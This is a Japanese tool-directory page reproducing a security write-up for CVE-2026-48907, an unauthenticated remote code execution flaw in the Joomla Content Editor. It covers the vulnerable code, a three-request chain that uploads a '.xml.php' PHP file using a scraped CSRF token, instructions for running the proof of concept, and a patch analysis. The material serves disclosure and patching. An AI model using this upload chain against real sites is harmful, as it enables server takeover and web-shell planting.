Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
ツール/GitHubGitHub/grayxploit/cve-2026-48907
ペイロード生成脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト論文と研究学習と教育
GitHubgrayxploit/cve-2026-48907

CVE-2026-48907

CVE-2026-48907の概念実証エクスプロイトと技術分析。Joomlaコンテンツエディタ(JCE)のCVSS 10.0事前認証リモートコード実行脆弱性。3リクエストの攻撃チェーンと詳細なパッチ分析が含まれています。

リポジトリを見る
223ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-48907 — Joomla Content Editor (JCE) ≤ 2.9.99.4 における認証不要のRCE

CVE-2026-48907 の概念実証エクスプロイト — Joomla Content Editor (JCE) 拡張機能における CVSS 10.0 の事前認証リモートコード実行脆弱性。
Grayxploit Security Team による研究

Gemini_Generated_Image_2i4b4p2i4b4p2i4b

目次

  • 概要
  • 影響を受けるバージョン
  • 脆弱性の詳細
  • 攻撃フロー
  • 概念実証
  • パッチ分析
  • 修正方法
  • タイムライン
  • 参考文献
  • 免責事項

概要

CVE-2026-48907 は、Joomla Content Editor (JCE) 拡張機能 — 最も広くインストールされている Joomla エディター — のバージョン 2.9.99.4 以下 のすべてに影響する 重大な認証不要リモートコード実行 (RCE) 脆弱性です。

JCE のプロファイルインポートワークフローにおける3つの独立したセキュリティ上の弱点を連鎖させることで、完全に認証されていない攻撃者が以下のことを実現できます:

  • サーバーの /tmp/ ディレクトリに任意の PHP ウェブシェルをアップロード
  • HTTP 経由でそのウェブシェルの実行をトリガー
  • 資格情報なし、ユーザー操作なし、特別なネットワーク位置なしで完全な リモートコード実行 (RCE) を達成

この攻撃は わずか3つのHTTPリクエスト のみを必要とし、脆弱なJCEバージョンが動作するデフォルトのJoomlaインストールに対して機能します。

CVSS v4 スコア: 10.0 — Critical

Grayxploit セキュリティ研究チームによって発見され、責任ある開示の後、一般公開されました。


影響を受けるバージョン

ソフトウェア脆弱なバージョン修正済みバージョン
Joomla Content Editor (JCE)≤ 2.9.99.42.9.99.6 (推奨)

注: 2.9.99.5 で主要な修正が導入されました。2.9.99.6 では追加のハードニング層が追加されました。2.9.99.6 以降にアップグレードしてください。


脆弱性の詳細

この脆弱性は JCE プロファイルインポートエンドポイント に起因します:

POST /index.php?option=com_jce&task=profiles.import

JCE では管理者がエディタープロファイルをXMLファイルとしてエクスポートおよびインポートできます。このインポートハンドラーは認証なしで到達可能であり、3つの独立した弱点の連鎖により任意のファイルアップロードを受け入れます。

Weakness 1 — 認可の欠落 (CWE-862)

インポートコントローラーはACLチェックを行っていませんでした:

public function import()
{
    // 唯一のゲート: CSRFトークン — 簡単にバイパス可能
    Session::checkToken() or jexit(JText::_('JINVALID_TOKEN'));

    $app = Factory::getApplication();
    // … すぐにファイル処理へ — authorise() チェックなし
}

Joomla は CSRF トークンを すべての 公開ページにメタタグまたはJS変数として埋め込みます:

<meta name="csrf.token" content="abcdef1234567890abcdef1234567890" />

攻撃者は単にホームページを取得し、トークンを抽出して再利用するだけです。CSRF チェックはクロスサイトリクエストを防ぎますが、直接スクリプトリクエストを 防ぎません。インポートパスのどこにも Factory::getUser() や $user->authorise(...) の呼び出しはありませんでした。


Weakness 2 — ファイル拡張子の検証なし (CWE-434)

アップロードハンドラーは File::makeSafe() を使用していましたが、これは不正なファイルシステム文字を取り除くだけであり、ファイル拡張子の検証や制限は 行いません:

$file = $app->input->files->get('profile_file', null, 'raw');

if (!is_uploaded_file($file['tmp_name'])) { return false; }

$name = File::makeSafe($file['name']); // 不正な文字のみ除去

$destination = $config->get('tmp_path') . '/' . $name;
$source      = $file['tmp_name'];

File::upload($source, $destination, false, true);

shell.xml.php のようなファイル名は File::makeSafe() をそのまま通過します。Apache の mod_php は最後の認識された拡張子が .php であるため実行します。.php、.php5、.phtml、および二重拡張子のバリアントはすべて受け入れられました。


Weakness 3 — File::upload() が $allow_unsafe = true で呼び出されている (CWE-116)

Joomla の File::upload() には組み込みの拡張子ブラックリストがあり、$allow_unsafe = false(デフォルト)の場合に危険なファイルタイプをブロックします:

// Joomla File::upload() のシグネチャ
File::upload($src, $dest, $use_streams = false, $allow_unsafe = false)

脆弱な JCE コードは このセーフティネットを明示的に無効化 しています:

// 脆弱 — 安全でないアップロードが明示的に有効化
File::upload($source, $destination, false, true);

この単一のブール値によって Joomla の内部拡張子ブラックリスト全体がオフになり、.php、.php5、.phtml、およびその他の実行可能な拡張子がディスクに書き込まれることが可能になりました。


攻撃フロー

┌─────────────────────────────────────────────────────────────────┐
│                                                                 │
│  ① GET /                                                       │
│     ← HTML/JS から csrf_token を抽出                            │
│                                                                 │
│  ② POST /index.php?option=com_jce&task=profiles.import         │
│     Content-Type: multipart/form-data                           │
│                                                                 │
│     --boundary                                                  │
│     Content-Disposition: form-data; name="task"                 │
│     profiles.import                                             │
│     --boundary                                                  │
│     Content-Disposition: form-data; name="<csrf_token>"         │
│     1                                                           │
│     --boundary                                                  │
│     Content-Disposition: form-data;                             │
│       name="profile_file";                                      │
│       filename="shell-<hash>.xml.php"                           │
│     Content-Type: application/xml                               │
│                                                                 │
│     <?= 45*69 ?>                                                │
│     --boundary--                                                │
│                                                                 │
│     ← 200 OK (ファイルが /var/www/html/tmp/ に書き込まれる)    │
│                                                                 │
│  ③ GET /tmp/shell-<hash>.xml.php                               │
│     ← レスポンス: "3105"  (45 × 69 = RCE 確認 ✓)              │
│                                                                 │
└─────────────────────────────────────────────────────────────────┘

  セッションCookieなし。ユーザー名なし。パスワードなし。3回のHTTPリクエスト。

概念実証

⚠️ このPoCは、許可されたセキュリティ研究および侵入テストのためにのみ提供されています。明示的な書面による許可なしにシステムに対して使用しないでください。無断使用は違法かつ非倫理的です。

必要条件

pip3 install requests

使用方法

git clone https://github.com/grayxploit/CVE-2026-48907.git
cd CVE-2026-48907
pip3 install -r requirements.txt
python3 poc.py

期待される出力 (脆弱なターゲット)

[] Target : http://localhost:9999

[] Payload : cve-2026-48907-4821.xml.php [] Step 1 — Fetching CSRF token...

[+] CSRF token: abcdef1234567890abcdef1234567890

[] Step 2 — Uploading payload...

[+] Upload response: HTTP 200

[*] Step 3 — Triggering payload execution...

[+] Response: 3105

[CRITICAL] RCE CONFIRMED — CVE-2026-48907

Target http://localhost:9999 is VULNERABLE


パッチ分析

3つの弱点はすべて JCE 2.9.99.5 で修正され、さらに 2.9.99.6 で追加のハードニングがリリースされました。

修正1 — 認証チェックの追加 (CWE-862 の修正)

controller/profiles.php:

$user = Factory::getUser();

if (!$user->authorise('core.manage', 'com_jce')) {
    throw new Exception(Text::_('JERROR_ALERTNOAUTHOR'), 403);
}

ゲストユーザー (id = 0) は authorise() で即座に失敗します。ファイル処理が行われる前にリクエストは拒否されます。

修正2 — 厳格な拡張子ホワイトリスト (CWE-434 の修正)

models/profile.php:

$extension = PATHINFO($name, PATHINFO_EXTENSION);

if (strtolower($extension) !== 'xml') {
    $app->enqueueMessage(Text::_('WF_PROFILES_IMPORT_INVALID_FILE'), 'error');
    return false;
}

PATHINFO_EXTENSION は 最後の 拡張子のみを返します。shell.xml.php → php → 拒否。複数拡張子によるバイパスをすべて無効化します。

修正3 — Unsafe フラグの削除 (CWE-116 の修正)

// 修正前 (脆弱)
File::upload($source, $destination, false, true);

// 修正後 (パッチ適用済み)
File::upload($source, $destination, false);

Joomla の内部拡張子ブラックリストが独立した防御層として再び有効になります。

2.9.99.6 での追加のハードニング

ツールをダウンロード